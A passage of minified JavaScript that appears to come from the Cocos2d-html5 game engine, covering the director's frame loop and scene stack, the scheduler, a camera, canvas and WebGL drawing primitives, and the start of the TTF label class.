- b.Ua=b.oa.extend({j$:!1,Ir:!1,kc:!1,dw:!1,Lk:!1,Xq:0,pC:0,Sr:0,Jn:0,dh:1,lr:!1,sk:0,GB:0,uf:null,vf:null,Bf:null,mc:null,Dk:null,ii:null,Rv:null,lh:null,qi:null,MC:null,bd:null,Od:0,Kw:0,ZC:0,W9:null,Kf:null,pg:null,qv:null,AB:null,CB:null,BB:null,ctor:function(){var a=this;a.Dk=Date.now();b.ra.fE(b.wb.Jt,function(){a.Dk=Date.now()})},ba:function(){this.pC=this.Xq=1/b.X_;this.qi=[];this.Sr=b.Ua.fT;this.MC=null;this.GB=this.Jn=0;this.lr=!1;this.Kw=this.Od=0;this.Dk=Date.now();this.dw=this.kc=!1;this.mc=
- b.size(0,0);this.lh=null;this.dh=1;this.Kf=new b.Hq;this.pg=b.NG?new b.NG:null;this.Kf.eG(this.pg,b.Hq.ju,!1);this.AB=new b.zl(b.Ua.ER);this.AB.setUserData(this);this.CB=new b.zl(b.Ua.GR);this.CB.setUserData(this);this.BB=new b.zl(b.Ua.FR);this.BB.setUserData(this);this.qv=new b.zl(b.Ua.HR);this.qv.setUserData(this);return!0},F_:function(){var a=Date.now();this.Ir?(this.sk=0,this.Ir=!1):this.sk=(a-this.Dk)/1E3;0<b.wb.ne[b.wb.jg.Bs]&&0.2<this.sk&&(this.sk=1/60);this.Dk=a},RM:null,SM:null,j0:function(){this.F_();
- this.kc||(this.Kf.update(this.sk),b.ra.dispatchEvent(this.BB));this.qk();this.ii&&this.p5();this.dB&&this.dB();this.bd&&(this.bd.U(),b.ra.dispatchEvent(this.CB));this.Rv&&this.Rv.U();this.lr&&this.sZ();this.YA&&this.YA();b.ra.dispatchEvent(this.AB);this.Kw++;this.lr&&this.SV()},dB:null,YA:null,end:function(){this.dw=!0},mca:function(){return this.dh},mda:function(){return this.Rv},ya:function(){return b.size(this.mc)},Ls:function(){return b.size(this.mc.width*this.dh,this.mc.height*this.dh)},tp:null,
- ux:null,up:null,pause:function(){this.kc||(this.pC=this.Xq,this.DP(0.25),this.kc=!0)},oia:function(){b.assert(this.bd,b.f.uR);this.qi.pop();var a=this.qi.length;0==a?this.end():(this.Lk=!0,this.ii=this.qi[a-1])},l4:function(){b.Uw.qk();b.rl.qk();b.Ea.qk()},m4:function(){this.al().Uy();b.ra&&b.ra.qe(!1);this.bd&&(this.bd.Vf(),this.bd.xb(),this.bd.Ke());this.ii=this.bd=null;this.qi.length=0;this.mQ();this.l4();b.bp()},n4:function(a){b.assert(a,b.f.dH);this.Lk=!1;this.qi.push(a);this.ii=a},ot:function(a){b.assert(a,
- b.f.dH);if(this.bd){var c=this.qi.length;0===c?(this.Lk=!0,this.qi[c]=a):(this.Lk=!0,this.qi[c-1]=a);this.ii=a}else this.n4(a),this.kQ()},Mp:function(){this.kc&&(this.DP(this.pC),(this.Dk=Date.now())||b.log(b.f.wR),this.kc=!1,this.sk=0)},Fja:function(a){a!=this.dh&&(this.dh=a,this.$n())},iG:null,Ija:function(){},mka:function(a){this.Ir=a},p5:function(){var a=!1,c=!1;b.ea&&(a=this.bd?this.bd instanceof b.ea:!1,c=this.ii?this.ii instanceof b.ea:!1);if(!c){if(c=this.bd)c.Vf(),c.xb();this.Lk&&c&&c.Ke()}this.bd=
- this.ii;this.ii=null;a||null==this.bd||(this.bd.aa(),this.bd.Nh())},oka:function(a){this.Rv=a},a1:function(){return this.MC},Y4:function(a){this.MC=a},Gy:null,pl:null,AG:null,F1:null,rp:null,CP:null,sZ:function(){this.Od++;this.Jn+=this.sk;this.uf&&this.vf&&this.Bf?(this.Jn>b.rR&&(this.vf.string=this.ZC.toFixed(3),this.GB=this.Od/this.Jn,this.Jn=this.Od=0,this.uf.string=this.GB.toFixed(1),this.Bf.string=(0|b.lf).toString()),this.uf.U(),this.vf.U(),this.Bf.U()):this.$n();b.lf=0},cfa:function(){return this.Lk},
- Kda:function(){return this.bd},Zba:function(){return this.Xq},Rea:function(){return this.lr},b5:function(a){this.lr=a},Pda:function(){return this.ZC},Vea:function(){return this.Ir},Xea:function(){return this.kc},jea:function(){return this.Kw},pia:function(){this.f4(1)},f4:function(a){b.assert(this.bd,b.f.vR);var c=this.qi,d=c.length;if(0==d)this.end();else if(!(a>d)){for(;d>a;){var e=c.pop();e.running&&(e.Vf(),e.xb());e.Ke();d--}this.ii=c[c.length-1];this.Lk=!1}},al:function(){return this.Kf},$P:function(a){this.Kf!=
- a&&(this.Kf=a)},ix:function(){return this.pg},BP:function(a){this.pg!=a&&(this.pg=a)},sca:function(){return this.sk},$n:null,SV:function(){this.ZC=(Date.now()-this.Dk)/1E3}});b.Ua.HR="director_projection_changed";b.Ua.ER="director_after_draw";b.Ua.GR="director_after_visit";b.Ua.FR="director_after_update";
- b.yR=b.Ua.extend({Kx:!1,kQ:function(){this.Ir=!0;this.Kx=!1},D3:function(){this.dw?(this.dw=!1,this.m4()):this.Kx||this.j0()},mQ:function(){this.Kx=!0},DP:function(a){this.Xq=a;this.Kx||(this.mQ(),this.kQ())}});b.Ua.BG=null;b.Ua.vN=!0;b.Ua.MB=function(){b.Ua.vN&&(b.Ua.vN=!1,b.Ua.BG=new b.yR,b.Ua.BG.ba());return b.Ua.BG};b.X_=60;b.Ua.dT=0;b.Ua.DH=1;b.Ua.eT=3;b.Ua.fT=b.Ua.DH;
- b.B===b.Aa?(n=b.Ua.prototype,n.pl=function(a){this.Sr=a;b.ra.dispatchEvent(this.qv)},n.iG=function(){},n.Gy=function(a){this.mc.width=b.Wa.width;this.mc.height=b.Wa.height;this.lh=a||b.view;b.ra&&b.ra.qe(!0)},n.qk=function(){var a=this.lh.le;b.l.clearRect(-a.x,a.y,a.width,-a.height)},n.$n=function(){var a=0,a=this.mc.width>this.mc.height?0|this.mc.height/320*24:0|this.mc.width/320*24;this.uf=b.P.create("000.0","Arial",a);this.vf=b.P.create("0.000","Arial",a);this.Bf=b.P.create("0000","Arial",a);a=
- b.jz;this.Bf.T(this.Bf.width/2+a.x,5*this.Bf.height/2+a.y);this.vf.T(this.vf.width/2+a.x,3*this.vf.height/2+a.y);this.uf.T(this.uf.width/2+a.x,this.uf.height/2+a.y)},n.tp=function(){return this.ya()},n.ux=function(){return b.d(0,0)}):(b.Ua.no=new Image,b.Ha(b.Ua.no,"load",function(){b.Ua.qK=!0}),b.no&&(b.Ua.no.src=b.no),b.assert("function"===typeof b.H.lz,b.f.fd,"CCDirectorWebGL.js"),b.H.lz(),delete b.H.lz);b.bq=b.oa.extend({pr:null,qr:null,rr:null,Un:null,Vn:null,Wn:null,is:null,js:null,ks:null,hb:null,Nv:null,ctor:function(){this.Nv=new b.ca;this.restore()},description:function(){return"\x3cCCCamera | center \x3d("+this.Un+","+this.Vn+","+this.Wn+")\x3e"},HP:function(a){this.hb=a},zF:function(){return this.hb},restore:function(){this.pr=this.qr=0;this.rr=b.bq.up();this.is=this.Un=this.Vn=this.Wn=0;this.js=1;this.ks=0;b.Xm(this.Nv);this.hb=!1},Ws:function(){if(this.hb){var a=new b.tb,c=new b.tb,d=new b.tb;
- b.Bp(a,this.pr,this.qr,this.rr);b.Bp(c,this.Un,this.Vn,this.Wn);b.Bp(d,this.is,this.js,this.ks);b.CO(this.Nv,a,c,d);this.hb=!1}b.zp(this.Nv)},Pja:function(a,c,d){this.KP(a,c,d)},KP:function(a,c,d){this.pr=a;this.qr=c;this.rr=d;this.hb=!0},yja:function(a,c,d){this.U4(a,c,d)},U4:function(a,c,d){this.Un=a;this.Vn=c;this.Wn=d;this.hb=!0},nla:function(a,c,d){this.N5(a,c,d)},N5:function(a,c,d){this.is=a;this.js=c;this.ks=d;this.hb=!0},Ica:function(){return{x:this.pr,y:this.qr,z:this.rr}},GN:function(){return{x:this.pr,
- y:this.qr,z:this.rr}},fca:function(){return{x:this.Un,y:this.Vn,z:this.Wn}},CN:function(){return{x:this.Un,y:this.Vn,z:this.Wn}},oea:function(){return{x:this.is,y:this.js,z:this.ks}},b2:function(){return{x:this.is,y:this.js,z:this.ks}},J9:function(){}});b.bq.up=function(){return b.$t};b.R8=b.ju+1;b.rH=function(a,c,d){this.next=null;this.target=a;this.j4=c;this.paused=d;this.by=!1};b.mH=function(a,c,d){this.list=a;this.Om=c;this.target=d;this.zx=null};b.WR=function(a,c){this.Oi=null;this.target=a;this.Vp=0;this.As=this.zs=null;this.paused=c;this.zx=null};
- b.lI=b.oa.extend({Ck:0,Yd:null,ie:null,ib:0,OL:!1,Rw:!1,Po:0,RC:0,fv:0,Vca:function(){return this.Ck},setInterval:function(a){this.Ck=a},eca:function(){return this.Yd},ctor:function(a,c,d,e,f){this.ie=a;this.Yd=c;this.ib=-1;this.Ck=d||0;this.fv=f||0;this.Rw=0<this.fv;this.RC=null==e?b.Dq:e;this.OL=this.RC==b.Dq},wB:function(){if("string"==typeof this.Yd)this.ie[this.Yd](this.ib);else this.Yd.call(this.ie,this.ib)},update:function(a){if(-1==this.ib)this.Po=this.ib=0;else{var c=this.ie,d=this.Yd;this.ib+=
- a;this.OL&&!this.Rw?this.ib>=this.Ck&&(c&&d&&this.wB(),this.ib=0):(this.Rw?this.ib>=this.fv&&(c&&d&&this.wB(),this.ib-=this.fv,this.Po+=1,this.Rw=!1):this.ib>=this.Ck&&(c&&d&&this.wB(),this.ib=0,this.Po+=1),this.Po>this.RC&&b.J.al().AQ(c,d))}}});
- b.Hq=b.oa.extend({hs:1,ym:null,dj:null,Tu:null,cj:null,O9:null,Wc:null,ci:!1,Lw:!1,ctor:function(){this.hs=1;this.ym=[[],[],[]];this.dj={};this.Tu=[];this.cj={};this.Yq=[];this.Wc=null;this.Lw=this.ci=!1},QC:function(a){delete this.cj[a.target.ua];b.Je(this.Yq,a);a.lI=null;a.target=null},FL:function(a){if(a=this.dj[a.target.ua])b.Je(a.list,a.Om),delete this.dj[a.target.ua],b.Je(this.Tu,a),a.Om=null,a.target=null},uL:function(a,c,d,e){e=new b.rH(c,d,e);if(a){for(var f=a.length-1,g=0;g<=f&&!(d<a[g].j4);g++);
- a.splice(g,0,e)}else a=[],a.push(e);d=new b.mH(a,e,c);this.Tu.push(d);this.dj[c.ua]=d;return a},IV:function(a,c,d){d=new b.rH(c,0,d);a.push(d);a=new b.mH(a,d,c);this.Tu.push(a);this.dj[c.ua]=a},Zka:function(a){this.hs=a},hea:function(){return this.hs},update:function(a){var c=this.ym,d=this.Yq,e,f,g;this.Lw=!0;1!=this.hs&&(a*=this.hs);f=0;for(g=c.length;f<g&&0<=f;f++)for(var h=this.ym[f],k=0,m=h.length;k<m;k++)e=h[k],e.paused||e.by||e.target.update(a);f=0;for(g=d.length;f<g;f++){e=d[f];if(!e)break;
- this.Wc=e;this.ci=!1;if(!e.paused)for(e.Vp=0;e.Vp<e.Oi.length;e.Vp++)e.zs=e.Oi[e.Vp],e.As=!1,e.zs.update(a),e.zs=null;this.ci&&0==e.Oi.length&&(this.QC(e),f--)}f=0;for(g=c.length;f<g;f++)for(h=this.ym[f],k=0,m=h.length;k<m;){e=h[k];if(!e)break;e.by?this.FL(e):k++}this.Lw=!1;this.Wc=null},M4:function(a,c,d,e,f,g){b.assert(c,b.f.IT);b.assert(a,b.f.JT);d=d||0;e=null==e?b.Dq:e;f=f||0;g=g||!1;var h=this.cj[a.ua];h||(h=new b.WR(a,g),this.Yq.push(h),this.cj[a.ua]=h);if(null==h.Oi)h.Oi=[];else for(var k=
- 0;k<h.Oi.length;k++)if(g=h.Oi[k],c==g.Yd){b.log(b.f.HT,g.Ck.toFixed(4),d.toFixed(4));g.Ck=d;return}g=new b.lI(a,c,d,e,f);h.Oi.push(g)},eG:function(a,c,d){if(null!==a){var e=this.ym,f=this.dj[a.ua];f?f.Om.by=!1:0==c?this.IV(e[1],a,d):0>c?e[0]=this.uL(e[0],a,c,d):e[2]=this.uL(e[2],a,c,d)}},AQ:function(a,c){if(null!=a&&null!=c){var d=this.cj[a.ua];if(d)for(var e=d.Oi,f=0,g=e.length;f<g;f++){var h=e[f];if(c==h.Yd){h!=d.zs||d.As||(d.As=!0);e.splice(f,1);d.Vp>=f&&d.Vp--;0==e.length&&(this.Wc==d?this.ci=
- !0:this.QC(d));break}}}},At:function(a){null!=a&&(a=this.dj[a.ua],null!=a&&(this.Lw?a.Om.by=!0:this.FL(a.Om)))},zQ:function(a){if(null!=a){var c=this.cj[a.ua];if(c){var d=c.Oi;!c.As&&0<=d.indexOf(c.zs)&&(c.As=!0);d.length=0;this.Wc==c?this.ci=!0:this.QC(c)}this.At(a)}},Uy:function(){this.J6(b.Hq.ju)},J6:function(a){for(var c=this.Yq,d=this.ym,e=0,f=c.length;e<f;e++)this.zQ(c[e].target);for(e=2;0<=e;e--)if(!(1==e&&0<a||0==e&&0<=a))for(var c=d[e],f=0,g=c.length;f<g;f++)this.At(c[f].target)},kia:function(){return this.Y3(b.Hq.ju)},
- Y3:function(){for(var a=[],c,d=this.Yq,e=this.ym,f=0,g=d.length;f<g;f++)if(c=d[f])c.paused=!0,a.push(c.target);f=0;for(g=e.length;f<g;f++)for(var d=e[f],h=0,k=d.length;h<k;h++)if(c=d[h])c.paused=!0,a.push(c.target);return a},H4:function(a){if(a)for(var c=0;c<a.length;c++)this.Qj(a[c])},Ip:function(a){b.assert(a,b.f.FT);var c=this.cj[a.ua];c&&(c.paused=!0);(a=this.dj[a.ua])&&(a.Om.paused=!0)},Qj:function(a){b.assert(a,b.f.GT);var c=this.cj[a.ua];c&&(c.paused=!1);(a=this.dj[a.ua])&&(a.Om.paused=!1)},
- ffa:function(a){b.assert(a,b.f.ET);return(a=this.cj[a.ua])?a.paused:!1}});b.Hq.ju=-2147483648;b.zH=2*Math.PI;
- b.eH=b.oa.extend({hB:[],l:null,ctor:function(a){this.l=a},g0:function(a,c){c||(c=1);var d=b.view.ka,e=b.d(a.x*d,a.y*b.view.La);this.l.beginPath();this.l.arc(e.x,-e.y,c*d,0,2*Math.PI,!1);this.l.closePath();this.l.fill()},h0:function(a,c,d){if(null!=a){d||(d=1);c=this.l;var e=b.view.ka,f=b.view.La;c.beginPath();for(var g=0,h=a.length;g<h;g++)c.arc(a[g].x*e,-a[g].y*f,d*e,0,2*Math.PI,!1);c.closePath();c.fill()}},Bj:function(a,c){var d=this.l,e=b.view.ka,f=b.view.La;d.beginPath();d.moveTo(a.x*e,-a.y*f);
- d.lineTo(c.x*e,-c.y*f);d.closePath();d.stroke()},LE:function(a,c){this.Bj(b.d(a.x,a.y),b.d(c.x,a.y));this.Bj(b.d(c.x,a.y),b.d(c.x,c.y));this.Bj(b.d(c.x,c.y),b.d(a.x,c.y));this.Bj(b.d(a.x,c.y),b.d(a.x,a.y))},lN:function(a,c,d){a=[a,b.d(c.x,a.y),c,b.d(a.x,c.y)];this.NE(a,4,d)},Vd:function(a,c,d,e){e=e||!1;if(null!=a){if(3>a.length)throw Error("Polygon's point must greater than 2");var f=a[0];c=this.l;var g=b.view.ka,h=b.view.La;c.beginPath();c.moveTo(f.x*g,-f.y*h);for(var f=1,k=a.length;f<k;f++)c.lineTo(a[f].x*
- g,-a[f].y*h);d&&c.closePath();e?c.fill():c.stroke()}},NE:function(a,c,d){this.Op(d.r,d.g,d.b,d.a);this.Vd(a,c,!0,!0)},HE:function(a,c,d,e,f){f=f||!1;e=this.l;var g=b.view.ka,h=b.view.La;e.beginPath();e.arc(0|a.x*g,0|-(a.y*h),c*g,-d,-(d-2*Math.PI),!1);f&&e.lineTo(0|a.x*g,0|-(a.y*h));e.stroke()},KE:function(a,c,d,e){for(var f=this.hB,g=f.length=0,h=0;h<e;h++)f.push(b.d(Math.pow(1-g,2)*a.x+2*(1-g)*g*c.x+g*g*d.x,Math.pow(1-g,2)*a.y+2*(1-g)*g*c.y+g*g*d.y)),g+=1/e;f.push(b.d(d.x,d.y));this.Vd(f,e+1,!1,
- !1)},IE:function(a,c,d,e,f){for(var g=this.hB,h=g.length=0,k=0;k<f;k++)g.push(b.d(Math.pow(1-h,3)*a.x+3*Math.pow(1-h,2)*h*c.x+3*(1-h)*h*h*d.x+h*h*h*e.x,Math.pow(1-h,3)*a.y+3*Math.pow(1-h,2)*h*c.y+3*(1-h)*h*h*d.y+h*h*h*e.y)),h+=1/f;g.push(b.d(e.x,e.y));this.Vd(g,f+1,!1,!1)},GE:function(a,c){this.Lm(a,0.5,c)},Lm:function(a,c,d){b.l.strokeStyle="rgba(255,255,255,1)";var e=this.hB;e.length=0;for(var f,g,h=1/a.length,k=0;k<d+1;k++)g=k/d,1==g?(f=a.length-1,g=1):(f=0|g/h,g=(g-h*f)/h),f=b.jR(b.dd(a,f-1),
- b.dd(a,f-0),b.dd(a,f+1),b.dd(a,f+2),c,g),e.push(f);this.Vd(e,d+1,!1,!1)},drawImage:function(a,c,d,e,f){switch(arguments.length){case 2:this.l.drawImage(a,c.x,-(c.y+a.height));break;case 3:this.l.drawImage(a,c.x,-(c.y+d.height),d.width,d.height);break;case 5:this.l.drawImage(a,c.x,c.y,d.width,d.height,e.x,-(e.y+f.height),f.width,f.height);break;default:throw Error("Argument must be non-nil");}},k0:function(a,c,d){a=a||this.l;c*=b.view.ka;d="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b);a.fillStyle=d+",1)";
- var e=c/10;a.beginPath();a.moveTo(-c,c);a.lineTo(0,e);a.lineTo(c,c);a.lineTo(e,0);a.lineTo(c,-c);a.lineTo(0,-e);a.lineTo(-c,-c);a.lineTo(-e,0);a.lineTo(-c,c);a.closePath();a.fill();var f=a.createRadialGradient(0,0,e,0,0,c);f.addColorStop(0,d+", 1)");f.addColorStop(0.3,d+", 0.8)");f.addColorStop(1,d+", 0.0)");a.fillStyle=f;a.beginPath();a.arc(0,0,c-e,0,b.zH,!1);a.closePath();a.fill()},d0:function(a,c,d){a=a||this.l;c*=b.view.ka;d="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b);var e=a.createRadialGradient(0,
- 0,c/10,0,0,c);e.addColorStop(0,d+", 1)");e.addColorStop(0.3,d+", 0.8)");e.addColorStop(0.6,d+", 0.4)");e.addColorStop(1,d+", 0.0)");a.fillStyle=e;a.beginPath();a.arc(0,0,c,0,b.zH,!1);a.closePath();a.fill()},fillText:function(a,c,d){this.l.fillText(a,c,-d)},Op:function(a,c,d,e){this.l.fillStyle="rgba("+a+","+c+","+d+","+e/255+")";this.l.strokeStyle="rgba("+a+","+c+","+d+","+e/255+")"},t5:function(){},nG:function(a){this.l.lineWidth=a*b.view.ka}});b.BR=b.oa.extend({l:null,Br:!1,tc:null,bi:-1,Ye:null,CC:-1,BC:-1,ctor:function(a){null==a&&(a=b.l);if(!a instanceof WebGLRenderingContext)throw"Can't initialise DrawingPrimitiveWebGL. context need is WebGLRenderingContext";this.l=a;this.Ye=new Float32Array([1,1,1,1])},Jj:function(){this.Br||(this.tc=b.Hd.nc(b.iA),this.bi=this.l.getUniformLocation(this.tc.Vm(),"u_color"),this.CC=this.l.getUniformLocation(this.tc.Vm(),"u_pointSize"),this.Br=!0)},Vaa:function(){this.Br=!1},g0:function(a){this.Jj();var c=
- this.l;this.tc.Ic();this.tc.Re();b.Ec(b.Kd);c.uniform4fv(this.bi,this.Ye);this.tc.rt(this.CC,this.BC);var d=c.createBuffer();c.bindBuffer(c.ARRAY_BUFFER,d);c.bufferData(c.ARRAY_BUFFER,new Float32Array([a.x,a.y]),c.STATIC_DRAW);c.vertexAttribPointer(b.ob,2,c.FLOAT,!1,0,0);c.drawArrays(c.POINTS,0,1);c.deleteBuffer(d);b.Tf()},h0:function(a){if(a&&0!=a.length){this.Jj();var c=this.l;this.tc.Ic();this.tc.Re();b.Ec(b.Kd);c.uniform4fv(this.bi,this.Ye);this.tc.rt(this.CC,this.BC);var d=c.createBuffer();c.bindBuffer(c.ARRAY_BUFFER,
- d);c.bufferData(c.ARRAY_BUFFER,this.aw(a),c.STATIC_DRAW);c.vertexAttribPointer(b.ob,2,c.FLOAT,!1,0,0);c.drawArrays(c.POINTS,0,a.length);c.deleteBuffer(d);b.Tf()}},aw:function(a){for(var c=new Float32Array(2*a.length),d=0;d<a.length;d++)c[2*d]=a[d].x,c[2*d+1]=a[d].y;return c},Bj:function(a,c){this.Jj();var d=this.l;this.tc.Ic();this.tc.Re();b.Ec(b.Kd);d.uniform4fv(this.bi,this.Ye);var e=d.createBuffer();d.bindBuffer(d.ARRAY_BUFFER,e);d.bufferData(d.ARRAY_BUFFER,this.aw([a,c]),d.STATIC_DRAW);d.vertexAttribPointer(b.ob,
- 2,d.FLOAT,!1,0,0);d.drawArrays(d.LINES,0,2);d.deleteBuffer(e);b.Tf()},LE:function(a,c){this.Bj(b.d(a.x,a.y),b.d(c.x,a.y));this.Bj(b.d(c.x,a.y),b.d(c.x,c.y));this.Bj(b.d(c.x,c.y),b.d(a.x,c.y));this.Bj(b.d(a.x,c.y),b.d(a.x,a.y))},lN:function(a,c,d){a=[a,b.d(c.x,a.y),c,b.d(a.x,c.y)];this.NE(a,4,d)},Vd:function(a,c,d){this.Jj();c=this.l;this.tc.Ic();this.tc.Re();b.Ec(b.Kd);c.uniform4fv(this.bi,this.Ye);var e=c.createBuffer();c.bindBuffer(c.ARRAY_BUFFER,e);c.bufferData(c.ARRAY_BUFFER,this.aw(a),c.STATIC_DRAW);
- c.vertexAttribPointer(b.ob,2,c.FLOAT,!1,0,0);d?c.drawArrays(c.LINE_LOOP,0,a.length):c.drawArrays(c.LINE_STRIP,0,a.length);c.deleteBuffer(e);b.Tf()},NE:function(a,c,d){this.Jj();d&&this.Op(d.r,d.g,d.b,d.a);c=this.l;this.tc.Ic();this.tc.Re();b.Ec(b.Kd);c.uniform4fv(this.bi,this.Ye);d=c.createBuffer();c.bindBuffer(c.ARRAY_BUFFER,d);c.bufferData(c.ARRAY_BUFFER,this.aw(a),c.STATIC_DRAW);c.vertexAttribPointer(b.ob,2,c.FLOAT,!1,0,0);c.drawArrays(c.TRIANGLE_FAN,0,a.length);c.deleteBuffer(d);b.Tf()},HE:function(a,
- c,d,e,f){this.Jj();var g=1;f&&g++;var h=2*Math.PI/e;if(f=new Float32Array(2*(e+2))){for(var k=0;k<=e;k++){var m=k*h,p=c*Math.sin(m+d)+a.y;f[2*k]=c*Math.cos(m+d)+a.x;f[2*k+1]=p}f[2*(e+1)]=a.x;f[2*(e+1)+1]=a.y;a=this.l;this.tc.Ic();this.tc.Re();b.Ec(b.Kd);a.uniform4fv(this.bi,this.Ye);c=a.createBuffer();a.bindBuffer(a.ARRAY_BUFFER,c);a.bufferData(a.ARRAY_BUFFER,f,a.STATIC_DRAW);a.vertexAttribPointer(b.ob,2,a.FLOAT,!1,0,0);a.drawArrays(a.LINE_STRIP,0,e+g);a.deleteBuffer(c);b.Tf()}},KE:function(a,c,d,
- e){this.Jj();for(var f=new Float32Array(2*(e+1)),g=0,h=0;h<e;h++)f[2*h]=Math.pow(1-g,2)*a.x+2*(1-g)*g*c.x+g*g*d.x,f[2*h+1]=Math.pow(1-g,2)*a.y+2*(1-g)*g*c.y+g*g*d.y,g+=1/e;f[2*e]=d.x;f[2*e+1]=d.y;a=this.l;this.tc.Ic();this.tc.Re();b.Ec(b.Kd);a.uniform4fv(this.bi,this.Ye);c=a.createBuffer();a.bindBuffer(a.ARRAY_BUFFER,c);a.bufferData(a.ARRAY_BUFFER,f,a.STATIC_DRAW);a.vertexAttribPointer(b.ob,2,a.FLOAT,!1,0,0);a.drawArrays(a.LINE_STRIP,0,e+1);a.deleteBuffer(c);b.Tf()},IE:function(a,c,d,e,f){this.Jj();
- for(var g=new Float32Array(2*(f+1)),h=0,k=0;k<f;k++)g[2*k]=Math.pow(1-h,3)*a.x+3*Math.pow(1-h,2)*h*c.x+3*(1-h)*h*h*d.x+h*h*h*e.x,g[2*k+1]=Math.pow(1-h,3)*a.y+3*Math.pow(1-h,2)*h*c.y+3*(1-h)*h*h*d.y+h*h*h*e.y,h+=1/f;g[2*f]=e.x;g[2*f+1]=e.y;a=this.l;this.tc.Ic();this.tc.Re();b.Ec(b.Kd);a.uniform4fv(this.bi,this.Ye);c=a.createBuffer();a.bindBuffer(a.ARRAY_BUFFER,c);a.bufferData(a.ARRAY_BUFFER,g,a.STATIC_DRAW);a.vertexAttribPointer(b.ob,2,a.FLOAT,!1,0,0);a.drawArrays(a.LINE_STRIP,0,f+1);a.deleteBuffer(c);
- b.Tf()},GE:function(a,c){this.Lm(a,0.5,c)},Lm:function(a,c,d){this.Jj();for(var e=new Float32Array(2*(d+1)),f,g,h=1/a.length,k=0;k<d+1;k++)g=k/d,1==g?(f=a.length-1,g=1):(f=0|g/h,g=(g-h*f)/h),f=b.jR(b.dd(a,f-1),b.dd(a,f),b.dd(a,f+1),b.dd(a,f+2),c,g),e[2*k]=f.x,e[2*k+1]=f.y;a=this.l;this.tc.Ic();this.tc.Re();b.Ec(b.Kd);a.uniform4fv(this.bi,this.Ye);c=a.createBuffer();a.bindBuffer(a.ARRAY_BUFFER,c);a.bufferData(a.ARRAY_BUFFER,e,a.STATIC_DRAW);a.vertexAttribPointer(b.ob,2,a.FLOAT,!1,0,0);a.drawArrays(a.LINE_STRIP,
- 0,d+1);a.deleteBuffer(c);b.Tf()},Op:function(a,c,d,e){this.Ye[0]=a/255;this.Ye[1]=c/255;this.Ye[2]=d/255;this.Ye[3]=e/255},t5:function(a){this.BC=a*b.pb()},nG:function(a){this.l.lineWidth&&this.l.lineWidth(a)}});b.H.MA=function(){var a=b.P.prototype;a.nb=b.D.prototype.nb;a.ff=function(){this.lb=!0;var a=this.qm,d=this.rm;this.sw="rgba(128,128,128,"+this.sj+")";this.tv="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b)+", 1)";this.xw="rgba("+(0|a.r)+","+(0|a.g)+","+(0|a.b)+", 1)"};a.Hc=b.D.prototype.Hc;a.Ta=b.D.prototype.Ta;a.xc=b.D.prototype.xc;a.sF=function(a,d){if(!b.D.prototype.ba.call(this))return!1;this.shaderProgram=b.Hd.nc(b.P.xV);this.PD(d,!1);this.string=a;return!0};a.By=function(a){var d=this.rm;if(d.r!=a.r||
- d.g!=a.g||d.b!=a.b)d.r=a.r,d.g=a.g,d.b=a.b,this.ff(),this.lb=!0};a.Z=function(a){if(this.Jb&&""!=this.Jb){a=a||b.l;var d=this.I;d&&d.ic&&(this.Eb.Ic(),this.Eb.Re(),b.Kg(this.s.src,this.s.R),b.oe(d),b.Ec(b.Jl),a.bindBuffer(a.ARRAY_BUFFER,this.ew),this.Ce&&(a.bufferData(a.ARRAY_BUFFER,this.Nb.Vw,a.STATIC_DRAW),this.Ce=!1),a.vertexAttribPointer(b.ob,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(b.vd,2,a.FLOAT,!1,24,16),a.vertexAttribPointer(b.ve,4,a.UNSIGNED_BYTE,!0,24,12),a.drawArrays(a.TRIANGLE_STRIP,0,
- 4));if(1===b.bk)a=this.Nb,a=[b.d(a.N.i.x,a.N.i.y),b.d(a.F.i.x,a.F.i.y),b.d(a.O.i.x,a.O.i.y),b.d(a.L.i.x,a.L.i.y)],b.ye.Vd(a,4,!0);else if(2===b.bk){a=this.$N();var d=this.offsetX,e=this.offsetY;a=[b.d(d,e),b.d(d+a.width,e),b.d(d+a.width,e+a.height),b.d(d,e+a.height)];b.ye.Vd(a,4,!0)}b.lf++}};a.qb=b.D.prototype.qb};b.H.Wz=function(){var a=b.P.prototype;b.j(a,"color",a.Hg,a.nb);b.j(a,"opacity",a.Ig,a.Ta);b.j(a,"string",a.bl,a.ed);b.j(a,"textAlign",a.m1,a.i5);b.j(a,"verticalAlign",a.f2,a.Q5);b.j(a,"fontSize",a.XE,a.Dy);b.j(a,"fontName",a.WE,a.Cy);b.j(a,"font",a.TW,a.RY);b.j(a,"boundingWidth",a.KB,a.LY);b.j(a,"boundingHeight",a.QW,a.KY);b.j(a,"fillStyle",a.SW,a.By);b.j(a,"strokeStyle",a.oX,a.mZ);b.j(a,"lineWidth",a.aX,a.VY);b.j(a,"shadowOffsetX",a.jX,a.cZ);b.j(a,"shadowOffsetY",a.kX,a.dZ);b.j(a,"shadowOpacity",
- a.lX,a.eZ);b.j(a,"shadowBlur",a.iX,a.bZ)};b.P=b.D.extend({gc:null,Bk:b.Jq,Xk:b.Qq,Tb:null,Mb:0,Jb:"",uC:null,zo:!1,eh:null,kd:!1,Ad:null,sj:0,Ok:0,sw:null,Dg:!1,qm:null,uj:0,xw:null,rm:null,tv:null,BD:0,CD:0,lb:!1,Iv:null,Jv:null,$K:null,ub:"LabelTTF",pd:function(a,c,d,e,f,g){a=a?a+"":"";d=d||16;e=e||b.size(0,0);f=f||b.wu;g=g||b.Qq;this.Pa=!1;this.gc=b.size(e.width,e.height);this.Tb=c||"Arial";this.Bk=f;this.Xk=g;this.Mb=d;this.eh=this.Mb+"px '"+c+"'";this.ei=b.P.Sq(c,this.Mb);this.string=a;this.ff();this.Qw();this.lb=!1;return!0},ctor:function(a,
- c,d,e,f,g){b.D.prototype.ctor.call(this);this.gc=b.size(0,0);this.Bk=b.wu;this.Xk=b.Qq;this.Pa=!1;this.eh="";this.Tb="Arial";this.kd=this.zo=!1;this.Ad=b.d(0,0);this.Ok=this.sj=0;this.sw="rgba(128, 128, 128, 0.5)";this.Dg=!1;this.qm=b.color(255,255,255,255);this.uj=0;this.xw="";this.rm=b.color(255,255,255,255);this.tv="rgba(255,255,255,1)";this.CD=this.BD=0;this.lb=!1;this.$K=[];this.ff();c&&c instanceof ga?this.sF(a,c):b.P.prototype.pd.call(this,a,c,d,e,f,g)},ba:function(){return this.pd(" ",this.Tb,
